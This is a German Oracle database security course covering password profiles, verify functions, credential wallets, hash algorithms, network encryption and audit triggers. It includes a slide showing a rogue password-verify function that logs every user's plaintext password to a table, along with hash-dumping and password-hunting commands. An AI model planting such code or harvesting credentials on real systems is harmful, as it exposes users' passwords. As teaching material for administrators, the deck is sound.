SYSBACKUP(ab 12c)
für Backup & Recovery Aufgaben mittels RMAN oder SQL*Plus
SYSDG(ab 12c)
zur Verwaltung des Oracle Data Guard oder des dgmgrl Tools
SYSKM (ab 12c)
zur Verwaltung des Encryption key Managements (Transparent Data Encryption Wallet)
MuniQSoft GmbH Security I 3 - 23Kapitel 3 - Benutzer & Passwörter
Security I 3 - 23
Übersicht der Rechte pro Benutzer
Die drei neuen Benutzer können nicht mehr gelöscht werden
Startup/Shutdown
ALTER DBOPENMOUNTBACKUPARCHIVE LOG
RECOVERDB
SELECT auf APP Tabellen
CHANGECHARACTERSET
CREATE,DROP DB
CREATESPFILE
RESTRICTEDSESSION
Schema/GrundPrivilegien
SYSDBA(ab 8.0)
SYS
SYSOPER(ab 8.0)
Vollständig PUBLIC
SYSBACKUP(ab 12.1)
CREATE SYSBACKUP
SYSDG(ab 12.1)
SYSDG
SYSKM(ab 12.1)
SYSKM
MuniQSoft GmbH Security I 3 - 24Kapitel 3 - Benutzer & Passwörter
Welche Rechte haben die neuen Benutzer: SYSDG
•STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SESSION •ALTER SYSTEM •CREATE RESTORE POINT (including GUARANTEED restore points) •CREATE SESSION •DROP RESTORE POINT (including GUARANTEED restore points) •FLASHBACK DATABASE •SELECT ANY DICTIONARY •SELECT
• X$ tables (fixed tables) • V$ and GV$ views (performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN
•DELETE • APPQOSSYS.WLM_CLASSIFIER_PLAN
•EXECUTE • SYS.DBMS_DRS
Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG
Security I 3 - 24
Passwörter in Skripten
Schützen Sie Ihre Skriptverzeichnisse (Backup &Recovery, Monitoring, Datenübernahme), damit niemand Passwörter im Klartext auslesen kann
Das folgende Skript merkt sich alle Passwörter:
SPOOL passwordrestore.sql SELECT 'alter user '||username||' identified by values '''||password||''';' FROM dba_users WHERE username=upper('&&1'); SPOOL OFF
MuniQSoft GmbH Security I 3 - 25Kapitel 3 - Benutzer & Passwörter
Beispiel: (alle Dateien des aktuellen Verzeichnisses nach manager durchsuchen)root@micky>grep -n ’manager’ *.sql-- oder alle Dateien rekursiv in einem Verzeichnis durchsuchen:root@micky>find/home/oracle –name | xargs grep -n ’connect’
select uwd.username,u.account_statusfrom DBA_USERS_WITH_DEFPWD UWD, DBA_USERS Uwhere uwd.username=u.username
Stichwörter: Passwörter in Skripten
Security I 3 - 25
Default-Passwörter
select username "User(s) with Default Password!" fr om dba_users where password in (
'E066D214D5421CCC', -- dbsnmp '24ABAB8B06281B4C', -- ctxsys '72979A94BAD2AF80', -- mdsys 'C252E8FA117AF049', -- odm 'A7A32CD03D3CE8D5', -- odm_mtr '88A2B2C183431F00', -- ordplugins'7EFA02EC7EA6B86F', -- ordsys '4A3BA55E08595C81', -- outln 'F894844C34402B67', -- scott '3F9FBD883D787341', -- wk_proxy '79DF7A1BD138CF11', -- wk_sys '7C9BA362F8314299', -- wmsys '88D8364765FCE6AF', -- xdb 'F9DA8977092B7B81', -- tracesvr '9300C0977D7DC75E', -- oas_public 'A97282CE3D94E29E', -- websys 'AC9700FD3F1410EB', -- lbacsys 'E7B5D92911C831E1', -- rman 'AC98877DE1297365', -- perfstat '66F4EF5650C20355', -- exfsys '84B8CBCA4D477FA3', -- si_informtn_schema 'D4C5016086B2DC6A', -- sys 'D4DF7931AB130E37') -- system
MuniQSoft GmbH Security I 3 - 26Kapitel 3 - Benutzer & Passwörter
Stichwörter: Default-Passwörter
Security I 3 - 26
Schutz durch Profile
Alle Benutzer bekommen standardmäßig das Profil „DEFAULT“ zugewiesen
Dort sind keine besonderen Schutzvorkehrungen getroffen
ALTER PROFILE DEFAULT LIMIT FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 5;
Nach dem 3ten Fehlversuch erscheint
SQL> connect scott/w
ERROR:
ORA-28000: Account ist gesperrt
MuniQSoft GmbH Security I 3 - 27Kapitel 3 - Benutzer & Passwörter
Stichwörter: Schutz durch Profile
Security I 3 - 27
Schutz durch Profile
Lebensdauer der Passwörter (Beispiel:60 Tage)
Innerhalb der Grace Time (nach Ablauf der Life Time ) kann noch das alte Passwort benutzt werden.
In unserm Beispiel muss spätestens nach 80 Tagen ei n neues Passwort benutzt werden
ALTER PROFILE DEFAULT LIMIT PASSWORD_LIFE_TIME 60 PASSWORD_GRACE_TIME 20;
MuniQSoft GmbH Security I 3 - 28Kapitel 3 - Benutzer & Passwörter
Stichwörter: Schutz durch Profile
Security I 3 - 28
Schutz durch Profile
Passwort-Wiederverwendung
Man kann einstellen, wie lange das Passwort nicht e rneut verwendet werden darf
Parameter wird in Tagen oder Wechselanzahl eingeste llt
ALTER PROFILE DEFAULT LIMIT PASSWORD_REUSE_TIME 60 PASSWORD_REUSE_MAX 2;
MuniQSoft GmbH Security I 3 - 29Kapitel 3 - Benutzer & Passwörter
Setzen Sie die Oracle-Passwortfunktion „verify_function“ein durch Ausführen des Skripts
ORACLE_HOME/rdbms/admin/utlpwdmg.sql
Dieses Skript muss als SYS gestartet werden
Passwörter sollten dann nicht mittels ALTER USER <user> IDENTIFIED BY <pwd> geändert werden sondern über SQL*Plus
SQL>password
Stichwörter: Schutz durch Profile
Security I 3 - 29
Schutz durch Profile
Die Passwort-Funktion wird eingeschalten durch:
ALTER PROFILE default LIMITPASSWORD_VERIFY_FUNCTION verify_function;
Ausschalten kann man sie mittels:
ALTER PROFILE default LIMITPASSWORD_VERIFY_FUNCTION null;
MuniQSoft GmbH Security I 3 - 30Kapitel 3 - Benutzer & Passwörter
Stichwörter: Schutz durch Profile
Security I 3 - 30
Schutz durch Passwortfunktion
Setzen Sie die Oracle-Passwortfunktion „verify_func tion“ein durch Ausführen des Skripts
@?/rdbms/admin/utlpwdmg.sql
Dieses Skript muss als SYS gestartet werden
Passwörter sollten nicht mittels ALTER USER <user> IDENTIFIED BY <pwd> geändert werden sondern über SQL*Plus
MuniQSoft GmbH Security I 3 - 31Kapitel 3 - Benutzer & Passwörter
CREATE OR REPLACE FUNCTION sys.verify_function(username varchar2,password varchar2, old_password varchar2)
RETURN boolean IS n boolean;m integer;differ integer;isdigit boolean;ischar boolean;ispunct boolean;digitarray varchar2(20);punctarray varchar2(25);chararray varchar2(52);
BEGIN digitarray:= '0123456789';chararray:= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';punctarray:='!"#$%&()``*+,-/:;<=>?_';
-- Check if the password is same as the usernameIF NLS_LOWER(password) = NLS_LOWER(username) THENraise_application_error(-20001, 'Password same as or similar to user');END IF;-- Check for the minimum length of the passwordIF length(password) < 4 THENraise_application_error(-20002, 'Password length less than 4');END IF;-- Check if the password is too simple. A dictionary of words may be maintained and a check may be made so as-- not to allow the words that are too simple for the password.IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd') THENraise_application_error(-20002, 'Password too simple');END IF;-- Check if the password contains at least one letter, one digit and on punctuation mark.-- 1. Check for the digit
Stichwörter: Schutz durch Passwortfunktion
Security I 3 - 31
Die Passwortfunktion
Kann vom Benutzer nachträglich geändert und neu kompiliert werden
Nehmen Sie jedoch dafür einen neuen Namen
Ändern Sie z. B. die minimale Passwortlänge auf 6
IF length(password) < 7 THENraise_application_error(
-20002, 'Password length less than 4');END IF;
MuniQSoft GmbH Security I 3 - 32Kapitel 3 - Benutzer & Passwörter
isdigit:=FALSE;m := length(password);
FOR i IN 1..10 LOOP FOR j IN 1..m LOOP
IF substr(password,j,1) = substr(digitarray,i,1) THEN isdigit:=TRUE;GOTO findchar;
END IF;END LOOP;
END LOOP;IF isdigit = FALSE THENraise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation');END IF;-- 2. Check for the character<<findchar>>ischar:=FALSE;FOR i IN 1..length(chararray) LOOP
FOR j IN 1..m LOOP IF substr(password,j,1) = substr(chararray,i,1) THEN
ischar:=TRUE;GOTO findpunct;
END IF;END LOOP;
END LOOP;IF ischar = FALSE THEN
raise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation');END IF;-- 3. Check for the punctuation<<findpunct>>ispunct:=FALSE;FOR i IN 1..length(punctarray) LOOP
FOR j IN 1..m LOOP IF substr(password,j,1) = substr(punctarray,i,1) THEN
ispunct:=TRUE;GOTO endsearch;
END IF;END LOOP;
END LOOP;
Stichwörter:Passwortfunktion
Security I 3 - 32
Die Passwortfunktion
Ändern Sie auch die gängigsten Passwörter ab (z. B. Hinzufügen des Firmennamens)
IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd','123456','123','gast','qwert') THEN
raise_application_error(-20002, 'Password too simple');END IF;
MuniQSoft GmbH Security I 3 - 33Kapitel 3 - Benutzer & Passwörter
IF ispunct = FALSE THENraise_application_error(-20003, 'Password should contain at least one \
digit, one character and one punctuation');END IF;<<endsearch>>-- Check if the pwd differs from the previous pwd by at least 3 lettersIF old_password IS NOT NULL THENdiffer := length(old_password) - length(password);IF abs(differ) < 3 THENIF length(password) < length(old_password) THENm := length(password);ELSEm := length(old_password);END IF;differ := abs(differ);FOR i IN 1..m LOOPIF substr(password,i,1) != substr(old_password,i,1) THENdiffer := differ + 1;END IF;END LOOP;IF differ < 3 THENraise_application_error(-20004, 'Password should differ by at least 3 characters');END IF;END IF;END IF;-- Everything is fine; return TRUE ; RETURN(TRUE);END;
Stichwörter:Passwortfunktion
Security I 3 - 33
Passwortfunktion als Spion ☺☺☺☺
CREATE OR REPLACE FUNCTION verify_function
(username varchar2,password varchar2,old_password varchar2)RETURN boolean IS
BEGINinsert into meine_passwortliste (usr,pwd) values (username,password);RETURN TRUE;END;
ALTER PROFILE default LIMIT PASSWORD_VERIFY_FUNCTION verify_function;
MuniQSoft GmbH Security I 3 - 34Kapitel 3 - Benutzer & Passwörter
Stichwörter: Passwortfunktion als Spion
Security I 3 - 34
Neue Passwort-Prüf-Funktion in 12c
Oracle liefert schon seit der Version 8i ein Skript (utlpwdmg.sql) zur Prüfung der Passwortqualität aus
Neu in 12c sind folgende Funktionen:
verify_function_11g (entspricht der alten Überprüfu ng)
ora12c_verify_function (Prüft einige zusätzliche As pekte wie Passwort=Servername)
ora12c_strong_verify_function (Erfüllt sogar die Richtlinien des US Verteidigungsministeriums) [in 1 2.1.0.2 wieder entfernt]
MuniQSoft GmbH Security I 3 - 35Kapitel 3 - Benutzer & Passwörter
Security I 3 - 35
Anmeldung mit verschlüsselten Passwort
Folgende Parameter werden für eine Anmeldung an der DB verwendet:
Aliasname der TNSNAMES.ORA
Servername oder IP Adresse
Portnummer des Listener
Service Name oder SID
Aliasname der Verschlüsselung
Benutzername
Passwort
TNSNAMES Datei
Wallet Datei
Müssen gleich sein
MuniQSoft GmbH Security I 3 - 36Kapitel 3 - Benutzer & Passwörter
Security I 3 - 36
Leider kann dadurch auch nur der Ersteller das Wallet für Zugriffe auf Datenbanken nutzen, unabhängig von den Betriebssystemberechtigungen dieser Datei(en). Unberechtigte Benutzer oder Server erhalten bei der Benutzung dieses Wallets eine Fehlermeldung: ERROR:ORA-12578: TNS:wallet open failed
Stichwörter: Anmeldung mit verschlüsselten Passwort
Anmeldung mit verschlüsselten Passwort
Wallet für verschlüsselte Passwörter anlegen:
SET ORACLE_HOME= d:\oracle\product\11.2.0\dbhome_1
SET CONNECT_ALIAS=o11g
%ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN" –create
Ausgabe:
Kennwort eingeben geheim123#
Kennwort erneut eingeben geheim123#
Dadurch werden zwei Dateien angelegt (cwallet.sso und ewallet.p12). Wenn diese auf einen anderen Rechner kopiert werden, kan n man auch dort mit den Wallet-Inhalten arbeiten.
Ab 11.2 kann ein Wallet angelegt werden, dessen Dat eien nur auf dem lokalen Server funktionieren:
orapki wallet create -wallet "." -auto_login_local
MuniQSoft GmbH Security I 3 - 37Kapitel 3 - Benutzer & Passwörter
Security I 3 - 37
Anmeldung mit verschlüsselten Passwort
Passwort für Benutzer SCOTT verschlüsselt speichern
%ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN" -createCredential %CONNECT_ALIAS% scott tiger
Ausgabe
Wallet-Kennwort eingeben: geheim123#
Legen Sie einen tnsnames.ora Eintrag mit Namen des CONNECT_ALIAS an:
o11g = (DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))(CONNECT_DATA = (SERVER = DEDICATED)
(SERVICE_NAME = o11g)) )
Tragen Sie in die sqlnet.ora Datei auf dem Client e in:
WALLET_LOCATION=(SOURCE=(METHOD=FILE) (METHOD_DATA = (DIRECTORY = d:\oracle\product\11.2.0\dbhome_1\network\admin))) SQLNET.WALLET_OVERRIDE = TRUE
Ein Anmeldung ist nun möglich über:
sqlplus /@o11g
MuniQSoft GmbH Security I 3 - 38Kapitel 3 - Benutzer & Passwörter
Stichwörter: Anmeldung mit verschlüsselten Passwort
Security I 3 - 38
Neuer / alter Password Hash
Oracle hat seit 11.1 eine neue Passwortverschüsselungs-Methode auf Basis des SHA 160 Bit Algorithmus entwickelt
Leider wird auch das alte Verfahren noch parallel verwendet, um auch älteren Clients eine Möglichkeit zu geben, sich noch anzumelden
Die Passwörter stehen in den Spalten password (alt) bzw. spare4 (neu) der Tabelle sys.user$
MuniQSoft GmbH Security I 3 - 39Kapitel 3 - Benutzer & Passwörter
Security I 3 - 39
Neuer / alter Password Hash
Oracle empfiehlt laut MOS Doc ID 463999.1 folgenden Befehl bis 12.1.0.2 abzusetzen, wenn nur noch das neue Ver fahren benutzt werden soll:
UPDATE user$ SET PASSWORD = null;
Leider wird im Dokument verschwiegen, dass das nach jeder Passwortänderung erneut durchgeführt werden muss
Im Skript unten wird dies durch einen Trigger autom atisiert
Zusätzlich muss in der Server seitigen sqlnet.ora D atei der folgende Parameter gesetzt werden:
SQLNET.ALLOWED_LOGON_VERSION=12
MuniQSoft GmbH Security I 3 - 40Kapitel 3 - Benutzer & Passwörter
CREATE OR REPLACE TRIGGER sys.check_alter_userAFTER ALTER ON DATABASEDECLAREPRAGMA AUTONOMOUS_TRANSACTION;BEGIN
IF DICTIONARY_OBJ_TYPE='USER' THENDBMS_SCHEDULER.CREATE_JOB (job_name => 'REMOVE_OLD_PWD',job_action => '
DECLAREmy_usr VARCHAR2(64):='''||DICTIONARY_OBJ_NAME||''';BEGIN UPDATE sys.user$ SET password=NULL WHERE name=my_us r;COMMIT;END;',
start_date => SYSTIMESTAMP+ INTERVAL '2' second,job_type => 'PLSQL_BLOCK',enabled => TRUE);commit;
END IF;EXCEPTION WHEN OTHERS THEN NULL;
END;/
Security I 3 - 40
Abschalten des alten PWD Algorithmus
Seit Oracle 11 wird ein neuer PWD Algorithmus verwe ndet. Leider wird der alte nicht automatisch abgeschaltet .
Sie können das in der Datei der sqlnet.ora konfigur ieren
10g Clients (mit CPUOct2012) und höher
SQLNET.ALLOWED_LOGON_VERSION_SERVER=11
11g Clients Verschlüsselung verwenden (ab 11.2.0.3) :
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12
11g und 12c Verschlüsselung verwenden (ab 12.1.0.2) :SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a
Hier wird beim Neusetzen des Passworts sowohl die a lte 10g als auch 11g Form des Passworts entfernt
MuniQSoft GmbH Security I 3 - 41Kapitel 3 - Benutzer & Passwörter
Hinweis:
Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter:SQLNET.ALLOWED_LOGON_VERSION_CLIENTAuch dieser kann die Werte:12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g Authentication Protocols (Empfohlen)11 für Oracle Database 11g Authentication Protocols (dDfault)10 für Oracle Database 10g Authentication Protocols8 für Oracle8i Authentication Protocols
Hinweis:
Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen Client-Version anmelden.
Security I 3 - 41
Abschalten des alten PWD Algorithmus
Wenn im Parameter SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a] steht, wird die Spalte password der Tabelle sys.use r$ nicht mehr gefüllt
Damit ist der alte Algorithmus abgeschalten, es kön nen sich aber nur noch Clients mit entsprechnd hoher Version anmelden
Empfehlung von Oracle: Alle bisherigen Accounts nac h einer Migration auf Expire setzen und neu vergeben [lassen]
ALTER USER <user> PASSWORD EXPIRE;
MuniQSoft GmbH Security I 3 - 42Kapitel 3 - Benutzer & Passwörter
Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !)
ALTER USER marco IDENTIFIED BY abc; SELECT name,password,spare4 FROM user$WHERE name='MARCO';
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12aH:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C3252FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649AF3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC
Security I 3 - 42
Neue Passwortverschlüsselung in 12.1.0.2
Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Has h für die Passwortverschlüsselung
Zuerst wird PBKDF2 incl Salt verwendet (http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Ta bles und Brut Force Angriffe zu erschweren
OCI und JDBC Client in der Version 12c unterstützen diese neue Authentifizierung
MuniQSoft GmbH Security I 3 - 43Kapitel 3 - Benutzer & Passwörter
Security I 3 - 43
Kapitel 4Netzwerksicherheit
Security I 4 - 1
Der Listener dient dem Verbindungsaufbau zwischen Client und Server. Er ist auf dem Server installiert und kommuniziert mit dem Client auf einem fest definierten Port. Wenn das Netzwerk sauber strukturiert ist, kann definiert werden, welche Clients sich anmelden dürfen und welche nicht. Die folgenden Parameter beziehen sich auf die Listener-Steuerdatei (Listener.ora), die sich im <ORACLE_HOME>/Network/Admin Verzeichnis befindet.Sollte der Parameter TNS_ADMIN (unter Windows in der Registry, unter UNIX in der Datei .profile/.cshrc) gesetzt sein, kann das Verzeichnis auch anders lauten.
Beispiel für Listener.ora:LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC)))
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.1.13)(PO RT =
1521))
)
)
)
Einleitung
Generell sollte der Listener bei Verdacht eines Ang riffs mittelsTracing und Logging überwacht werden
Es ist außerdem einstellbar, dass man sich nur von bestimmten Clients aus anmelden kann
Leider sind einige Sicherheitslücken beim Listener aufgetaucht, die u. U. nur mit neuen Patches behebbar sind. Prüf en Sie hier die neuesten Einträge unter myoraclesupport.com
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 2
Security I 4 - 2
Tipps & Tricks
Verwenden Sie nicht die Standard Ports 1521 und 152 6 sondern z.B. einen anderen Port wie 56789
Überwachen Sie die listener.ora und die Log-Dateien
Wenn möglich sollte die Standard ORACLE_SID wie ORC L, TEST oder PROD nicht verwendet werden
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 3
Stichwörter: Tipps
Security I 4 - 3
Netzwerkverschlüsselung
SniffingHierunter wird das Abhören des Netzwerkverkehrs ver standen. Switches schicken eigentlich nur noch die Pakete an den richtigen Empfänger und nicht an jeden Rechner, jedoch kann m it div. Tools eine falsche IP-Adresse vorgetäuscht werdenAuch das Anzapfen der Netzwerkschränke stellt eine Möglichkeit der Spionage dar
Man in the MiddleVerändern der Inhalte der Pakete, die zwischen Clie nt und Server hin und her geschickt werdenSo kann z. B. ein ALTER USER SYS IDENTIFIED BY SYS; Befehl
eingeschmuggelt werden
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 4
Weitere Inhalte der Advanced Security Option:
•Transparente Daten Verschlüsselung • Spaltenverschlüsselung• Tablespaceverschlüsselung•Netzwerk Verschlüsselung und Datenintegrität •Starke Authentifikation mittels• Kerberos • RADIUS (Remote Authentication Dial-In User Service) • Secure Sockets Layer (mit digitalen Zertifikaten) • PKI
Stichwörter: Sniffing, Man in the Middle
Security I 4 - 4
Netzwerkverschlüsselung (f)
Folgende Manipulationen können erkannt werden:Datenmodifikation durch Dritte (Prüfsummen sind fal sch)Datenpakete werden gelöscht (Sequenznummer ist fals ch)Datenpakete werden zusätzlich eingeschleust (Sequen znummer ist falsch)
Wenn Oracle einen dieser Angriffsversuche erkennt, wird die Kommunikation sofort abgebrochenLizenzhinweis (Stand 08/2014):
Network encryption (native network encryption and S SL/TLS) and strong authentication services (Kerberos, PKI, and RADIUS) are no longer part of Oracle Advanced Security and are ava ilable in alllicensed editions of all supported releases of the Oracle database.Das heißt sie ist FREI !!!!!!
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 5
Die Advanced Security Option wurde entwickelt, um einen sicheren Datenverkehr zwischen Client und Server zu ermöglichen. Die Daten werden in beide Richtungen verschlüsselt, um Datenspionage und Datenmanipulation zu verhindern.
Geschwindigkeitseinbuße durch ANO ca. 20%Weitere mögliche TYPES Einstellungen• RC4 40-bit encryption
RC4 56-bit encryption RC4 128-bit encryption RC4 256-bit encryption DES40 40-bit encryption DES 56-bit encryption 3DES 112-bit encryption 3DES 168-bit encryption AES 128-bit encryption AES 192-bit encryption AES 256-bit encryption MD5 crypto-checksumming SHA-1 crypto-checksumming Kerberos v5 authentication RADIUS authentication
• Folgender Fehler kann auftreten:• ERROR: ORA-12645: Parameter nicht vorhanden.
Lösung:• Parameter CRYPTO_SEED wurde vergessen• Text des Parameters CRYPTO_SEED wurde nicht in "" gesetzt
Stichwörter: erkennbare Manipulationen
Security I 4 - 5
SQLNET.ORA Parameter
Verschlüssellungsart:SQLNET.ENCRYPTION_TYPES_[CLIENT|SERVER]
Aktivierung der VerschlüsselungsartSQLNET.ENCRYPTION_[CLIENT|SERVER]
Prüfsummen gegen DatenmanipulationSQLNET.CHECKSUM_TYPES_[ CLIENT|SERVER]
Aktivierung der PrüfsummenSQLNET.CRYPTO_CHECKSUM _[ CLIENT|SERVER]
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 6
Security I 4 - 6
Integritätsprüfung
Prüfsummen erzeugen, damit Daten auf dem Weg zwisch en Client-Server-Client nicht manipuliert werden könne nServer-Seite
SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER = (MD5)
SQLNET.CRYPTO_CHECKSUM_SERVER = REQUIRED
Client-SeiteSQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT = (MD5)
SQLNET.CRYPTO_CHECKSUM_CLIENT = REQUESTED
Weitere mögliche TYPES EinstellungenMD5 (RSA MD5 Algorithmus (unsicher))SHA1SHA256 oder SHA384 oder SHA512 (ab 12.1)
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 7
Stichwörter: Integritätsprüfung
Security I 4 - 7
Einstellung in der SQLNET.ORA
Verschlüsselung des Datenverkehrs aktivieren:Server Seite:
SQLNET.ENCRYPTION_TYPES_SERVER= RC4_256
SQLNET.ENCRYPTION_SERVER = REQUIRED
Client Seite:SQLNET.ENCRYPTION_TYPES_CLIENT= RC4_256
SQLNET.ENCRYPTION_CLIENT = REQUIRED
Das passiert, wenn man nicht verschlüsselt …
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 8
Stichwörter: Verschlüsselung des Datenverkehrs
Mögliche Einstellungen für ENCRYPTION:
• ACCEPTED• REJECTED• REQUESTED• REQUIRED
Mögliche Einstellungen ENCRYPTION_TYPES
•3des112 für triple DES mit einer zwei Schlüssel (112-bit) Option•3des168 für triple DES mit einer zwei Schlüssel (168-bit) Option•aes128•aes192•aes256•des für Standard DES (56-bit Schlüssel)•des40 für DES (40-bit Schlüssel)•rc4_40 für RSA RC4 (40-bit Schlüssel)•rc4_56 für RSA RC4 (56-bit Schlüssel)•rc4_128 für RSA RC4 (128-bit Schlüssel)•rc4_256 für RSA RC4 (256-bit Schlüssel)
Security I 4 - 8
Client/Server Einstellkombinationen
Client
Server
Rejected Accepted Requested Required
Rejected Nein Nein Nein Keine Verb.
Accepted Nein Nein Ja Ja
Requested Nein Ja Ja Ja
Required Keine Verb. Ja Ja Ja
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 9
Required• Der Sicherheitsdienst wird zwingend verwendet, sonst entsteht keine Verbindung
Requested• Der Sicherheitsdienst wird benutzt, wenn die Gegenseite ihn auch unterstützt
Accepted• Der Sicherheitsdienst wird verwendet, wenn die Gegenseite ihn erbittet
Rejected• Der Sicherheitsdienst wird nicht verwendet, auch wenn die Gegenseite ihn
anfordert
Stichwörter: Server/Client Einstellkombinationen
Security I 4 - 9
Funktionstest der Verschlüsselung
Schalten Sie Tracing in der Datei SQLNET.ORA ein:TRACE_LEVEL_CLIENT = 16
TRACE_DIRECTORY_CLIENT = /u01/trace
Hinweis: Unter Windows wird immer ins C:\Documents and Settings\Oracle\oradiag_\diag\clients\user_\host_<. ..>\trace\Verzeichnis geschrieben !!!TRACE_FILE_CLIENT = ano.trc
Melden Sie sich an und setzen sie folgenden Befehl ab:connect system/sys
SELECT 'Marco' FROM dual;
oder
ALTER USER marco IDENTIFIED BY supergeheim;
In der Tracedatei darf das Wort Marco nun nicht vor kommen!
MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 10
Wenn die Verschlüsselung nicht eingeschaltet wurde, kann man den Netzwerkverkehr mitlesen:
[23-FEB-2005 13:59:51:716] nsprecv: packet dump
[23-FEB-2005 13:59:51:716] nsprecv: 01 20 00 00 06 00 00 00 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 00 10 19 35 09 5B 17 |....5.[.|
[23-FEB-2005 13:59:51:716] nsprecv: 74 06 83 68 00 00 78 69 |t..h..xi|
[23-FEB-2005 13:59:51:716] nsprecv: 02 17 0E 23 27 ED 02 00 |...#'...|[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 05 00 00 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 01 00 00 00 37 01 60 |.....7.`|
[23-FEB-2005 13:59:51:716] nsprecv: 80 00 00 05 00 00 00 00 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 00 00 00 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 00 00 B2 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 01 00 05 00 00 00 01 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 07 07 00 00 00 07 27 4D |...... 'M|
[23-FEB-2005 13:59:51:716] nsprecv: 41 52 43 4F 27 00 00 00 |ARCO' ...|
[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 07 00 00 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 07 78 69 02 17 0E 3C |..xi...<|
[23-FEB-2005 13:59:51:716] nsprecv: 34 06 01 02 EC 01 00 00 |4.......|
[23-FEB-2005 13:59:51:716] nsprecv: 00 01 00 00 00 BF 06 00 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 A4 0D 00 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 BF 06 07 |........|
[23-FEB-2005 13:59:51:716] nsprecv: 05 4D 61 72 63 6F 08 05 |. Marco ..|
[23-FEB-2005 13:59:51:716] nsprecv: 00 05 B2 44 00 00 00 00 |...D....|
Stichwörter: Verschlüsselung überprüfen
Security I 4 - 10
Kapitel 5Trigger
Security I 5 - 1
Überwachung mittels Trigger
Trigger zünden bei einem DML oder DDL Befehl.
Mit DDL Trigger können auch der Datenbankstart/stop und das An/Abmelden der Benutzer getriggert werden
Sie können aufzeichnen, welche Aktion durchgeführt wurde.
Trigger können autonome Transaktionen durchführen (Das sind separate Transaktionen, die mit einem COM MIT abgeschlossen werden).
Sie bieten die einzige Möglichkeit, um Datenveränderungen in Tabellen zu dokumentieren.
Achtung: Trigger verlangsamen DML-Transaktionen
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 2
Stichwörter: Überwachung, Trigger
Security I 5 - 2
Beispiel für einen Trigger:
CREATE OR REPLACE TRIGGER emp_trig_iduBEFORE UPDATE OR INSERT OR DELETE ON empFOR EACH ROW
WHEN (NVL(old.sal,0)<>nvl(new.sal,0) )DECLARE
vmode VARCHAR2(20);BEGIN
IF updating THEN vmode:='Upd';ELSIF deleting THEN vmode:='Del';ELSE
vmode:='Ins';END IF;
/*##### Aufzeichnung der Gehaltsveränderung in emp- Tab. */INSERT INTO emp_audit (cmode,empno,ename,old_sal,new_sal,user_name,change _date)VALUES(vmode,nvl(:old.empno,:new.empno,nvl(:old.ename,:ne w.ename),:old.sal,:new.sal,user,sysdate);END;
MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 3
Stichwörter:
Security I 5 - 3
Logon Trigger
CREATE OR REPLACE TRIGGER afterlogonAFTER LOGON on DATABASEBEGIN
RAISE_APPLICATION_ERROR (-20001, 'You are not allow ed to logon from this terminal');END;/
Mit zeitlicher Steuerung
if ( to_char( sysdate, 'hh24' ) not between 7 and 1 8 )then
